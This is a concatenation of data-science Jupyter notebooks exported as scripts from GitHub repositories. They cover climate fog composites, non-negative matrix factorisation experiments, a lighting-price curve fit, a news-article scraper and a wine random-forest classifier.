conn_uri\n)\n\ndsc.shape\n\ndsc.describe()\n\ndsc = pd.read_sql(\n '''\n SELECT order_status, count(*) AS order_count FROM daily_status_count\n GROUP BY 1\n ORDER BY 2 DESC\n ''',\n\n conn_uri\n)\n\ndsc\n\n# !pip install google-cloud-secret-manager\n\n\n","repo_name":"verecahill/data-engineering","sub_path":"notebooks/retail/gcp_postgres.ipynb","file_name":"gcp_postgres.ipynb","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"39854047764","text":"import xarray as xr\nimport numpy as np\nimport pandas as pd\nimport datetime\nimport matplotlib.pyplot as plt\nfrom math import e\nfrom joblib import dump, load\nimport xskillscore as xs\nimport cartopy.crs as ccrs\nimport iris\nimport iris.plot as iplt\nimport iris.quickplot as qplt\nimport matplotlib.cm as mpl_cm\nfrom eofs.xarray import Eof\nimport cartopy.crs as ccrs\nimport matplotlib.ticker as ticker\nfrom cartopy.mpl.ticker import LongitudeFormatter, LatitudeFormatter\n\n# # Fog Station data\n\nfogData = xr.open_dataset('../../../Data/FogData/CombinedFogData_25Stations.nc')\n\nStackFog=fogData.fogdata.stack(a=('years','months','days'))\nStackFog\ndd =[];\nfor i in range(StackFog.years.values.shape[0]):\n dd=dd+[str(StackFog.years[i].values)+'-'+str(StackFog.months[i].values)+\"-\"+str(StackFog.days[i].values)]\nfg = xr.Dataset({'fogdata': (('time','stations'), StackFog.values.T)}, coords={'time': pd.to_datetime(dd),'stations': fogData.stations})\nyAll=fg.fogdata.sum(dim='stations').sel(time=slice('1980-12-1','2014-1-31'))\nyAll=yAll/25.0\nyWd= yAll[yAll >0.44]\nyWd\nyAll\n\n# # ERA5\n\nz500Data = xr.open_dataset('../../../Data/eraDown/ERA5_2degree_Down/DailyMean/ERA5NH_500_z_daily_NovDecJan.nc')\nz500Data\nz=z500Data.z.shift(time=1)\nz.values=z.values/9.81\n#z\nz\n\n# # Calculate daily Anomaly\n\nda = z.assign_coords(month_day=z.time.dt.strftime(\"%m-%d\"))\ndailyAnomZ = da.groupby(\"month_day\") - da.groupby(\"month_day\").mean(\"time\")\ndecJanAnomz=dailyAnomZ[(dailyAnomZ.time.dt.month>11) | (dailyAnomZ.time.dt.month<2)].sel(time=slice('1980-12-1','2014-1-31'))\nyAll['time'] = decJanAnomz.time\nda\n\n# oromask\nmask=load('oroMask.joblib')\nmask\n\n# +\n# get WFD daily anomaly\nwfdZ=decJanAnomz[yAll >0.44,:,:]\nwfdZ.time\nwfdZ\nprint(wfdZ.time.shape)\nndays=wfdZ.time.shape[0]\nprint(ndays)\n\n\n# -\n\ndef map_plot(ax1):\n ax1.coastlines()\n ax1.set_xticks([50,60 , 70,80, 90,100], crs=ccrs.PlateCarree())\n ax1.set_yticks([ 5,10,15,20,25,30], crs=ccrs.PlateCarree())\n lon_formatter = LongitudeFormatter(zero_direction_label=True)\n lat_formatter = LatitudeFormatter()\n ax1.xaxis.set_major_formatter(lon_formatter)\n ax1.yaxis.set_major_formatter(lat_formatter)\n\n\n# # Composite of WFD\n\n# +\n# Get Composite anomoaly for fog days\nwfdComp=wfdZ.mean(dim=\"time\")\n#wfdComp.plot()\n\n\nwfdCompSmall=wfdComp.sel(latitude=slice(35,0),longitude=slice(50,100))\nprint(mask[0,:,:].shape)\nwfdCompSmall.values=wfdCompSmall.values*500.0\nwfdCompSmall.plot(cmap=\"jet\")\n\n\nfig = plt.figure(figsize=(20,10))\nax1 = fig.add_subplot(121,projection=ccrs.PlateCarree())\nm1=ax1.contourf(wfdCompSmall.longitude.values,wfdCompSmall.latitude.values,wfdCompSmall,transform=ccrs.PlateCarree(),cmap='jet')\n#xr.plot.contour(zwideNeg.sel(latitude=slice(70,0),longitude=slice(20,150)).mean(dim='time'),figsize=[10,5],levels=np.linspace(-60,60,21 ),colors ='black', transform=ccrs.PlateCarree())\nmap_plot(ax1)\nax1.coastlines()\n#ax1.set_title('GFDL Neg Widespread Fog Days')\n# -\n\nwfdZComp_cube=wfdComp.to_iris()\nwfdZComp_cube\nwfdZComp_cube_small=wfdCompSmall.to_iris()\nwfdZComp_cube_small\n\n# +\n# Load a Cynthia Brewer palette.\nbrewer_cmap = mpl_cm.get_cmap(\"brewer_PuOr_11\")\n\n# Draw the contours, with n-levels set for the map colours (9).\n# NOTE: needed as the map is non-interpolated, but matplotlib does not provide\n# any special behaviour for these.\nqplt.contourf(wfdZComp_cube,cmap='coolwarm')\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\n\nplt.show()\n\n# +\nfig = plt.figure(figsize=(15,12))\nlevels = (-40,-35,-30,-25,-20,-15,-10,-5, 0,5,10,15,20,25,30,35,40)\nax = plt.axes(projection=ccrs.NorthPolarStereo(central_longitude=0))\n#ax.set_global()\n\n# Northern Hemisphere from 23 degrees north:\nax.set_extent([-180, 180, 0, 90], crs=ccrs.PlateCarree())\nqplt.contourf(wfdZComp_cube,cmap='coolwarm',levels=levels)\nax.set_title('Observed Station data '+str(ndays))\nax.coastlines()\nplt.savefig('Sttaionobs_WFD-Comp.eps')\nqplt.show()\n\n#plt.show()\n\n# +\n#levels = (-15,-12.5,-10,-7.5,-5, -2.5,0,2.5,5,7.5,10,12.5,15)\n\n#qplt.contourf(wfdZComp_cube_small, cmap='coolwarm',levels=levels)\nqplt.contourf(wfdZComp_cube_small, cmap='coolwarm')\n\n#qplt.contourf(wfdZComp_cube, brewer_cmap.N, cmap=brewer_cmap,levels=levels)\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\nplt.gca().gridlines(draw_labels=True)\n\n\nplt.savefig('demo_cnn.eps')\nplt.show()\n# -\n\n# # Positive Anomalies\n\nzwidePos=wfdZ.where(wfdZ.sel(latitude=slice(40,20),longitude=slice(60,85)).mean(dim=['latitude','longitude']) > 0.0, drop=True)\nPosCnt=zwidePos.time.sizes\nprint(PosCnt)\nzwidePosComp=zwidePos.mean(dim=\"time\")\n\nzwidePosComp_cube=zwidePosComp.to_iris()\nzwidePosComp_cube\nzwidePosComp_cube_small=zwidePosComp.sel(latitude=slice(50,0),longitude=slice(30,120)).to_iris()\nzwidePosComp_cube_small\n\n# +\n# Draw the contours, with n-levels set for the map colours (9).\n# NOTE: needed as the map is non-interpolated, but matplotlib does not provide\n# any special behaviour for these.\nqplt.contourf(zwidePosComp_cube,cmap='coolwarm')\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\n\nplt.show()\n\n# +\nlevels = (-50,-40,-30,-20,-10, -5,0,5,10,20,30,40,50)\n\nqplt.contourf(zwidePosComp_cube_small, cmap='coolwarm',levels=levels)\n\n#qplt.contourf(wfdZComp_cube, brewer_cmap.N, cmap=brewer_cmap,levels=levels)\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\nplt.gca().gridlines(draw_labels=True)\n# -\n\n# # Negative Anomalies \n\nzwideNeg=wfdZ.where(wfdZ.sel(latitude=slice(40,20),longitude=slice(60,85)).mean(dim=['latitude','longitude']) < 0.0, drop=True)\nNegCnt=zwideNeg.time.sizes\nprint(NegCnt)\nzwideNegComp=zwideNeg.mean(dim=\"time\")\n\nzwideNegComp_cube=zwideNegComp.to_iris()\nzwideNegComp_cube\nzwideNegComp_cube_small=zwideNegComp.sel(latitude=slice(50,0),longitude=slice(30,120)).to_iris()\nzwideNegComp_cube_small\n\n# +\nqplt.contourf(zwideNegComp_cube,cmap='coolwarm')\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\n\nplt.show()\n\n# +\nlevels = (-50,-40,-30,-20,-10, -5,0,5,10,20,30,40,50)\n\nqplt.contourf(zwideNegComp_cube_small, cmap='coolwarm',levels=levels)\n\n#qplt.contourf(wfdZComp_cube, brewer_cmap.N, cmap=brewer_cmap,levels=levels)\n\n# Add coastlines to the map created by contourf.\nplt.gca().coastlines()\nplt.gca().gridlines(draw_labels=True)\n# -\n\n\n","repo_name":"diptiSH/Python_Fog_Paper2","sub_path":"May2021/LargeScale_WidespreadFogDays/Obs_StationData.ipynb","file_name":"Obs_StationData.ipynb","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"3985474874","text":"# # Non Negative Matrix Factorisation\n\n# This assignment will cover Non Negative Matrix Factorisation. Two algorithms using squared Euclidean distance and Kullback-Liebler Divergence cost functions will be built and investigated. Both algorithms will apply multiplicative updates to achieve optimisation.\n\n# The notebook will use two image datasets - CroppedYaleB and ORL. \n#\n# CroppedYaleB can be found here:\n# http://vision.ucsd.edu/~leekc/ExtYaleDatabase/ExtYaleB.html\n#\n# and ORL here:\n# http://www.cl.cam.ac.uk/Research/DTG/attarchive:pub/data/att_faces.zip\n#\n\n# +\nimport os\nimport numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport random\nimport datetime\n\ndef load_data(root='C:/Users/Harrison/Documents/Uni Work/Advanced Machine Learning/data/CroppedYaleB', reduce=4):\n images, labels = [], []\n for i, person in enumerate(sorted(os.listdir(root))):\n if not os.path.isdir(os.path.join(root, person)):\n continue \n for fname in os.listdir(os.path.join(root, person)): \n # Remove background images in Extended YaleB dataset.\n if fname.endswith('Ambient.pgm'):\n continue \n if not fname.endswith('.pgm'):\n continue \n # load image.\n img = Image.open(os.path.join(root, person, fname))\n img = img.convert('L') # grey image.\n # reduce computation complexity.\n img = img.resize([s//reduce for s in img.size])\n # preprocessing (normalisation)\n img = (img-np.min(img))/(np.max(img)-np.min(img))\n # convert image to numpy array.\n img = np.asarray(img).reshape((-1,1)) \n # collect data and label.\n images.append(img)\n labels.append(i)\n # concate all images and labels.\n images = np.concatenate(images, axis=1)\n labels = np.array(labels)\n return images, labels\n\ndef load_data_without_normalisation(root='C:/Users/Harrison/Documents/Uni Work/Advanced Machine Learning/data/CroppedYaleB', reduce=4):\n images, labels = [], []\n for i, person in enumerate(sorted(os.listdir(root))):\n if not os.path.isdir(os.path.join(root, person)):\n continue \n for fname in os.listdir(os.path.join(root, person)): \n # Remove background images in Extended YaleB dataset.\n if fname.endswith('Ambient.pgm'):\n continue \n if not fname.endswith('.pgm'):\n continue \n # load image.\n img = Image.open(os.path.join(root, person, fname))\n img = img.convert('L') # grey image.\n # reduce computation complexity.\n img = img.resize([s//reduce for s in img.size])\n # preprocessing (normalisation)\n img = (img-np.min(img))/(np.max(img)-np.min(img))\n # convert image to numpy array.\n img = np.asarray(img).reshape((-1,1)) \n # collect data and label.\n images.append(img)\n labels.append(i)\n # concate all images and labels.\n images = np.concatenate(images, axis=1)\n labels = np.array(labels)\n return images, labels\n\n\n\n# -\n\n# The functions below are non negative matrix factorisation algorithms written using standard squared Euclidean distance and KL Divergence cost functions. The multiplicative update rules are written to gaurantee optimisation. \n\n# +\n#function for NMF using a euclidean based cost function and a multiplicative update algorithm\n\ndef NMF_euc(V, max_iterations):\n n = V.shape[0]\n m = V.shape[1]\n r = np.linalg.matrix_rank(V)\n W = np.random.rand(n, r)\n H = np.random.rand(r, m) \n records = []\n iteration_count = 0\n conv_criteria = []\n stop_flag = 0\n#stop criteria maxes at specified max_iterations or when ratio of the\n#difference in loss is between 0.99 and 1 for last 20 iterations(i.e. convergence)\n while iteration_count < max_iterations and stop_flag != 1:\n W_stationary = W\n H_stationary = H\n top_H = np.dot(W_stationary.T, V)\n bottom_H = W_stationary.T.dot(np.dot(W_stationary, H_stationary))\n for i in range(H.shape[0]):\n for j in range(H.shape[1]):\n H[i][j] = H_stationary[i][j] * top_H[i][j] / bottom_H[i][j] \n H_stationary = H\n W_stationary = W\n top_W = np.dot(V, H_stationary.T)\n bottom_W = W_stationary.dot(np.dot(H_stationary, H_stationary.T))\n for i in range(W.shape[0]):\n for j in range(W.shape[1]):\n W[i][j] = W_stationary[i][j] * top_W[i][j] / bottom_W[i][j]\n loss = np.sum((V - W.dot(H))**2) \n records.append(loss)\n iteration_count += 1\n ##print('Iteration %s: %s' %(iteration_count, loss))\n if iteration_count > 100:\n try:\n conv_1 = abs(records[-2] - records[-1])\n conv_2 = abs(records[-3] - records[-2])\n convergence_value = conv_1/conv_2\n conv_criteria.append (convergence_value)\n last_20_1 = np.array(conv_criteria[-20:]) > 0.99 \n last_20_2 = np.array(conv_criteria[-20:]) < 1 \n if np.sum(last_20_1) == np.sum(last_20_2):\n stop_flag = 1\n else:\n stop_flag = 0\n except:\n next\n return W,H\n\n#KL Divergence NMF\ndef NMF_div(V, max_iterations):\n n = V.shape[0]\n m = V.shape[1]\n r = np.linalg.matrix_rank(V)\n W = np.random.rand(n, r)\n H = np.random.rand(r, m) \n records = []\n iteration_count = 0\n conv_criteria = []\n stop_flag = 0\n while iteration_count < max_iterations and stop_flag != 1:\n W_stationary = W\n H_stationary = H\n top_H = W_stationary.T.dot(V/np.dot(W_stationary, H_stationary))\n bottom_H = np.dot(W_stationary.T, np.ones(V.shape))\n for i in range(H.shape[0]):\n for j in range(H.shape[1]):\n H[i][j] = H_stationary[i][j] * top_H[i][j] / bottom_H[i][j] \n H_stationary = H\n W_stationary = W\n top_W = np.dot((V/np.dot(W_stationary, H_stationary)), H_stationary.T)\n bottom_W = np.dot(np.ones(V.shape),H_stationary.T)\n for i in range(W.shape[0]):\n for j in range(W.shape[1]):\n W[i][j] = W_stationary[i][j] * top_W[i][j] / bottom_W[i][j]\n z = V/(np.dot(W,H))\n z[z<=0] = 0.001\n loss = np.sum(V*np.log(z) - V + W.dot(H))\n records.append(loss)\n iteration_count += 1\n #print(loss)\n if iteration_count > 100:\n try:\n conv_1 = abs(records[-2] - records[-1])\n conv_2 = abs(records[-3] - records[-2])\n convergence_value = conv_1/conv_2\n conv_criteria.append (convergence_value)\n last_20_1 = np.array(conv_criteria[-20:]) > 0.99 \n last_20_2 = np.array(conv_criteria[-20:]) < 1 \n if np.sum(last_20_1) == np.sum(last_20_2):\n stop_flag = 1\n else:\n stop_flag = 0\n except:\n next\n return W,H\n\n\n# -\n\n# These functions will be used to measure the robustness of each algorithm.\n\n# +\n#robustness evaluation metrics to be used in the experiment\n\nfrom collections import Counter\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import normalized_mutual_info_score\n\ndef assign_cluster_label(X, Y):\n kmeans = KMeans(n_clusters=len(set(Y))).fit(X)\n Y_pred = np.zeros(Y.shape)\n for i in set(kmeans.labels_):\n ind = kmeans.labels_ == i\n Y_pred[ind] = Counter(Y[ind]).most_common(1)[0][0] # assign label.\n return Y_pred\n\n#kmeans = KMeans(n_clusters=len(set(Y))).fit(V_recon.T)\n\n#Y_pred = assign_cluster_label(np.dot(W,H).T,Y)\n#acc = accuracy_score(Y, Y_pred)\n\n###Relative reconstruction errors (RRE)\n#RRE = np.linalg.norm(V-np.dot(W, H)) / np.linalg.norm(V)\n\n###NMI\n#nmi = normalized_mutual_info_score(Y, Y_pred)\n\n\n# +\n#Noise functions\n\ndef add_gaussian_noise(V, mean, std_dev):\n V_noise = np.ones(V.shape)\n for column in range(V.shape[1]):\n gaussian_noise = np.random.normal(mean, std_dev, V.shape[0])\n gaussian_noise[gaussian_noise<0] = 0\n V_noise[:,column] = V[:,column] + gaussian_noise \n V_noise[V_noise<0] = 0\n return V_noise\n \ndef add_laplacian_noise(V, centre, scale):\n laplac_noise = np.random.laplace(centre,scale,V.shape)\n laplac_noise[laplac_noise<0] = 0\n V_noise = V + laplac_noise\n return V_noise\n\ndef add_sparse_noise(V, width, height, reshape_1, reshape_2):\n V_noise = []\n for image in range(V.shape[1]):\n img = V[:, image].reshape(reshape_1,reshape_2)\n start_x = np.random.randint(0, reshape_2 - width)\n start_y = np.random.randint(0, reshape_1 - height)\n img[start_y: start_y+height, start_x:start_x+width] = 1\n img = np.asarray(img).reshape((-1,1))\n V_noise.append(img)\n V_noise = np.concatenate(V_noise, axis=1)\n return V_noise\n\n\n# -\n\n# The code below can be described as three separate experiments. Each experiment will add a different type of noise to the dataset (Gaussian, Laplacian and Sparse* respectively) and measure the robustness of the algorithm against RRE, Accuracy and NMI. Within each experiment, the algorithm will be run 5 times and each metric will then be averaged and recorded.\n#\n# Each code will have the optional functions commented out. Feel free to activate them as appropriate. The commented-out code will include:\n# 1) Reading in the different datasets (ORL or YALEB)\n# 2) Switching between Euclidean or Divergence NMF algorithms\n# 3) Adding different types of noise (Gaussian, Laplacian and Sparse)\n#\n# Please refer to report on what sparse noise looks like.\n\n# +\n#load the ORL Database\nV, Y = load_data(root='/Users/joshhuang/Desktop/University/Master of Data Science/COMP5328/data/ORL', reduce=3)\nprint('ORL dataset: X.shape = {}, Y.shape = {}'.format(V.shape, Y.shape)) #reshape numbers: 37, 30\n\n#load the YaleB Database\n#V, Y = load_data(root='C:/Users/Harrison/Documents/Uni Work/Advanced Machine Learning/data/CroppedYaleB', reduce=6)\n#print('Extended YalB dataset: X.shape = {}, Y.shape = {}'.format(V.shape, Y.shape)) #reshape numbers 32, 28\n\nrre_results = []\nacc_results = []\nnmi_results = []\n\nfor i in range(5): \n subset = random.sample(range(V.shape[1]), int(0.9*V.shape[1])) #ORL dataset\n #subset = random.sample(range(V.shape[1]), int(0.15*V.shape[1])) #YaleB dataset, reduce dataset to reduce computational time\n V_test = V[:, subset]\n Y_test = Y[subset]\n \n #adding noise\n ##gaussian noise\n #V_noise = add_gaussian_noise(V_test, 0, 0.15)\n \n ##laplacian noise\n #V_noise = add_laplacian_noise(V_test, 0, 2)\n \n ##sparse noise\n V_noise = add_sparse_noise(V_test, 10, 5, 37, 30) #if ORL dataset, using reduce = 3\n #V_noise = add_sparse_noise(V_test, 10, 5, 32, 28 ) #if YaleB dataset, using reduce = 6\n \n #apply NMF\n W, H = NMF_euc(V_noise, 500)\n #W, H = NMF_div(V_noise, 500)\n \n #evaluation metrics\n RRE = np.linalg.norm(V_test-np.dot(W, H)) / np.linalg.norm(V_test)\n rre_results.append(RRE)\n \n Y_pred = assign_cluster_label(np.dot(W,H).T,Y_test)\n acc = accuracy_score(Y_test, Y_pred)\n acc_results.append(acc)\n \n nmi = normalized_mutual_info_score(Y_test, Y_pred)\n nmi_results.append(nmi)\n print(nmi)\n \n#evaluate results\nrre_mean = np.round(np.mean(rre_results), 5)\nacc_mean = np.round(np.mean(acc_results), 5)\nnmi_mean = np.round(np.mean(nmi_results), 5)\nprint(\"Results:\")\nprint('RRE mean: %s' %(rre_mean))\nprint('Acc mean: %s' %(acc_mean))\nprint('NMI mean: %s' %(nmi_mean))\n\n# +\n#reconstruct images with noise #ORL datasets\nimage_original = V_subset[:,0].reshape(37,30)\nplt.imshow(image_original, cmap=plt.cm.gray)\n\nnoisy_image = V_noise[:,0].reshape(37,30)\nplt.imshow(noisy_image, cmap=plt.cm.gray)\n\n#reconstruct images with noise #YaleB datasets\nimage_original = V_subset[:,0].reshape(32,28) \nplt.imshow(image_original, cmap=plt.cm.gray)\n\nnoisy_image = V_noise[:,0].reshape(32,28)\nplt.imshow(noisy_image, cmap=plt.cm.gray)\n\n#applying R\nr = 300\nW_final_chop = W_final[:,:r]\nH_final_chop = H_final[:r,:]\nrecon_r = np.dot(W_final_chop, H_final_chop)\nnoisy_image_r = recon_r[:,0].reshape(37,30)\nplt.imshow(noisy_image_r, cmap=plt.cm.gray)\n\n# +\n#noise sampling code\nmu, sigma = 0.5, 0.16\ngaussian_noise = np.random.normal(mu, sigma, V_subset.shape[0])\nhist, bins = np.histogram(gaussian_noise, bins=100, normed=True)\nbin_centers = (bins[1:]+bins[:-1])*0.5\nplt.plot(bin_centers, hist)\n\ncauchy_noise = np.random.standard_cauchy((V_subset.shape[0]))\ncauchy_noise.shape\nhist, bins = np.histogram(cauchy_noise, bins=100, normed=True)\nbin_centers = (bins[1:]+bins[:-1])*0.5\nplt.plot(bin_centers, hist)\n\nlaplac_noise = np.random.laplace(0, 0.2, size = (100,1))\nhist, bins = np.histogram(laplac_noise, bins=100, normed=True)\nbin_centers = (bins[1:]+bins[:-1])*0.5\nplt.plot(bin_centers, hist)\n# -\n\n# ## Robust L1-NMF \n\n# The code below was our attempt to create Robust L1-NMF. This was our initial test run before we decided to implement it into a final algorithm. Unfortunately we were unable to get this to converge properly and hence have left out the results from this algorithm from our report\n\n# +\n# Load ORL dataset.\nW, X = load_data(root='/Users/joshhuang/Desktop/University/Master of Data Science/COMP5328/data/ORL', reduce=2)\nprint('ORL dataset: X.shape = {}, Y.shape = {}'.format(W.shape, X.shape))\n\n#input_matrix = np.abs(np.random.uniform(low=0.0,high=255.0,size=(100,100)))\ninput_matrix = W\nS_lambda = 0.5\nR = 200\n\n## Dimensions of the matrix\nrows, cols = input_matrix.shape\nW_matrix = np.abs(np.random.uniform(low=0.0,high=255.0,size=(rows, R)))\nH_matrix = np.abs(np.random.uniform(low=0.0,high=255.0,size=(R, cols)))\n\nW_matrix = np.divide(W_matrix, R*W_matrix.max())\nH_matrix = np.divide(H_matrix, R*H_matrix.max())\n\n## Iterations\nnum_iter = 100\nnum_display_cost = max(int(num_iter/10), 1)\n\ns_lambda=1.0\n\nfor i in range(num_iter):\n\n # Define new S matrix\n S_matrix = input_matrix - np.dot(W_matrix, H_matrix)\n \n # Regularize the S Matrix\n S_matrix = soft_thresholding_operator(S_matrix, S_lambda)\n \n # Update the W matrix\n W_matrix = (np.abs(np.dot((S_matrix - input_matrix),H_matrix.T))\\\n - np.dot((S_matrix - input_matrix),H_matrix.T))\\\n /(2 * np.dot(np.dot(W_matrix, H_matrix), H_matrix.T))*W_matrix\n \n # Update the H matrix\n H_matrix = (np.abs(np.dot(W_matrix.T,(S_matrix-input_matrix)))\\\n - np.dot(W_matrix.T,(S_matrix-input_matrix)))\\\n /(2 * np.dot(np.dot(W_matrix.T,W_matrix), H_matrix))*H_matrix\n \n # Normalize the W and H matrices\n W_matrix = W_matrix/np.sqrt(np.sum(W_matrix**2))\n H_matrix = H_matrix*np.sqrt(np.sum(W_matrix**2))\n \n # Calculate the Euclidean cost\n c = l1_euclidean_cost(input_matrix, W_matrix, H_matrix, S_matrix)\n if i%num_display_cost==0:\n print ('Iteration',i,':', c)\n","repo_name":"jh92/uni","sub_path":"COMP5328 Assignment 1 Non-Negative Matrix Factorization.ipynb","file_name":"COMP5328 Assignment 1 Non-Negative Matrix Factorization.ipynb","file_ext":"py","file_size_in_byte":15231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"24993443959","text":"import pandas as pd\nimport numpy as np\n# %matplotlib inline\nimport seaborn\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\nseaborn.set_context('talk')\n\ndata=(pd.read_csv('the-price-for-lighting-per-million-lumen-hours-in-the-uk-in-british-pound.csv').set_index('Year')\n .rolling(50,win_type='triang',center=True,min_periods=0).mean()\n )\ndata\n\ndata.plot()\nplt.yscale('log')\n\ndata.pct_change().plot()\n\n# +\nt=data.copy()\ndef gauss(x, A, mu, sigma):\n\n return A*np.exp(-(x - mu) ** 2 / 2 / sigma ** 2)\n\n\ndef bimodal(x, mu1, mu2, A1, A2, sigma1, sigma2):\n\n return gauss(x, A1, mu1, sigma1) + gauss(x, A2, mu2, sigma2) + 0\n\n\nfrom scipy.optimize import curve_fit\n\nthis = t.reset_index(drop=True).pct_change().dropna().copy()\n\nto_fit = this.copy()\nto_fit.index=to_fit.index.astype(float)\n\n\nFUNCTION=bimodal\ncoef, _ = curve_fit(\n bimodal,\n to_fit.index.values.squeeze(),\n to_fit.values.squeeze(),\n maxfev=10000000,\n p0=[1500-1300,1900-1300,-1,-1,1,1],\n bounds=[(0,0,-100,-100,0,0),(1000,1000,0,0,1000,1000)],\n)\n\n\nplt.figure(figsize=(12, 10))\nax = plt.subplot(3, 1, 1)\nthis.index = t.index[1:]\nthis.plot(ax=plt.gca())\nk = pd.DataFrame({\"Model\": FUNCTION(to_fit.index, *coef)}).set_index(t.index[1:])\nk.plot(ax=plt.gca())\n\nplt.legend([\"Observed\", \"Model\"])\nplt.ylabel(\"Rate of change\")\nplt.subplot(3, 1, 2, sharex=ax)\nk = pd.DataFrame(\n {\n \"Gaussian 1\": gauss(to_fit.index, coef[2], coef[0], coef[4]),\n \"Gaussian 2\": gauss(to_fit.index, coef[3], coef[1], coef[5]),\n }\n #{\"Gaussian 1\": FUNCTION(to_fit.index, *coef)}\n).set_index(t.index[1:])\nk.plot(ax=plt.gca())\nplt.ylabel(\"Rate of change\")\n\n\nplt.subplot(3, 1, 3)\ntmax=np.arange(1300,2030).astype(float)\n\nplt.plot(tmax,np.cumprod((FUNCTION(tmax-t.index[0], *coef)+1))*t.iloc[0,0])\nt.pipe(lambda x: x).plot(ax=plt.gca())\nplt.yscale('log')\nplt.ylabel(\"£ per million lumen-hours\")\n\nplt.tight_layout()\nplt.savefig('sumgaus_mlight.png')\n# -\n\nd=t.pct_change().dropna()\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF\ngp=GaussianProcessRegressor(kernel=RBF())\ngp.fit(d.index.values.reshape(-1,1),d.values)\nd.plot()\nplt.plot(d.index,gp.predict(d.index.values.reshape(-1,1)).squeeze())\n\ngp\n","repo_name":"jlricon/open_nintil","sub_path":"constancy_gdp/Light.ipynb","file_name":"Light.ipynb","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30622478960","text":"# +\nimport sys, os\nON_COLAB = 'google.colab' in sys.modules\n\nif ON_COLAB:\n os.system(\"test -f urls-2020.txt || wget https://datanizing.com/heiseacademy/nlp-course/blob/main/99_Common/urls-2020.txt\")\n# -\n\nurls = open(\"urls-2020.txt\").read().split(\"\\n\")\n\nimport os\nif not os.path.isdir(\"artikel\"):\n os.mkdir(\"artikel\")\n\n\ndef article_filename(url):\n c = url.split(\"/\")\n return \"/\".join([\"artikel\", c[-1]])\n\n\n# !pip install tqdm\n\n# +\nimport requests\nfrom tqdm.auto import tqdm\n\ns = requests.Session()\nfor u in tqdm(urls):\n if u == '':\n continue\n filename = article_filename(u)\n if not os.path.isfile(filename):\n print(filename)\n print(u)\n r = s.get(\"https://www.heise.de\" + u)\n open(filename, 'wb').write(r.content) \n# -\n\nimport json\nfrom bs4 import BeautifulSoup\nres = []\nfor u in tqdm(urls):\n filename = article_filename(u)\n html = open(filename).read()\n soup = BeautifulSoup(html)\n d = {}\n d[\"title\"] = soup.h1.text.strip()\n d[\"header\"] = soup.select_one(\"#meldung > div.article-layout__header-container > header > p\").text.strip()\n d[\"author\"] = soup.select_one(\"a.redakteurskuerzel__link\").attrs[\"title\"]\n d[\"text\"] = \"\\n\".join([p.text.strip() \n for p in soup.select(\"#meldung > div.article-layout__content-container > div > p\")])\n d[\"keywords\"] = soup.find(\"meta\", {\"name\": \"keywords\"})[\"content\"]\n ld = json.loads(soup.find(\"script\", type=\"application/ld+json\").string)\n for k in [\"identifier\", \"url\", \"datePublished\", \"commentCount\"]:\n d[k] = ld[k]\n \n res.append(d)\n\nres = []\nfor u in tqdm(urls):\n try:\n filename = article_filename(u)\n html = open(filename).read()\n soup = BeautifulSoup(html)\n except:\n # Datei nicht gefunden, invalides HTML etc.\n continue\n d = {}\n d[\"title\"] = soup.h1.text.strip()\n try:\n d[\"header\"] = soup.select_one(\"#meldung > div.article-layout__header-container > header > p\").text.strip()\n except:\n pass\n try:\n d[\"author\"] = soup.select_one(\"a.redakteurskuerzel__link\").attrs[\"title\"]\n except:\n pass\n d[\"text\"] = \"\\n\".join([p.text.strip() \n for p in soup.select(\"#meldung > div.article-layout__content-container > div > p\")])\n try:\n d[\"keywords\"] = soup.find(\"meta\", {\"name\": \"keywords\"})[\"content\"]\n except:\n pass\n try:\n ld = json.loads(soup.find(\"script\", type=\"application/ld+json\").string)\n for k in [\"identifier\", \"url\", \"datePublished\", \"commentCount\"]:\n d[k] = ld[0][k]\n except:\n pass\n \n res.append(d)\n\nimport pandas as pd\narticles = pd.DataFrame(res)\nlen(articles)\n\narticles[articles[\"identifier\"].isna()]\n\narticles[articles[\"url\"].isna()]\n\narticles = articles.dropna(subset=[\"identifier\"])\nlen(articles)\n\narticles = articles.drop_duplicates(subset=[\"identifier\"]).set_index(\"identifier\")\narticles.index = articles.index.astype(int)\nlen(articles)\n\nimport sqlite3\nsql = sqlite3.connect(\"heise-articles-2020.db\")\narticles.to_sql(\"articles\", sql, index_label=\"id\", if_exists=\"replace\")\n","repo_name":"heiseacademy/nlp-course","sub_path":"02_Datenakquisition_Extraktion/09-Praxisbeispiel_2_Herunterladen_Extrahieren.ipynb","file_name":"09-Praxisbeispiel_2_Herunterladen_Extrahieren.ipynb","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"30009836657","text":"# + id=\"otdaYBqc0lhG\" colab_type=\"code\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 306} outputId=\"6d579752-6fe6-4acf-f781-275afe2adab9\"\n# Random Forest Classifier - Machine Learning Tutorial\n\n#######################################################\n\nfrom sklearn import datasets, ensemble\nimport pandas as pd\n\n#######################################################\n\nwine_data = datasets.load_wine()\n\nfeatures = pd.DataFrame(wine_data.data,columns=wine_data.feature_names)\n\ntargets = pd.DataFrame(wine_data.target)\n\ntraining_features = features[0:142]\ntest_features = features[142:]\n\ntraining_targets = targets[0:142]\ntest_targets = targets[142:]\n\n#######################################################\n\nour_forest = ensemble.RandomForestClassifier()\n\nour_forest.fit(training_features,training_targets)\n\n#######################################################\n\naccuracy = our_forest.score(test_features,test_targets)\n\nprint(accuracy)\n\npredictions = 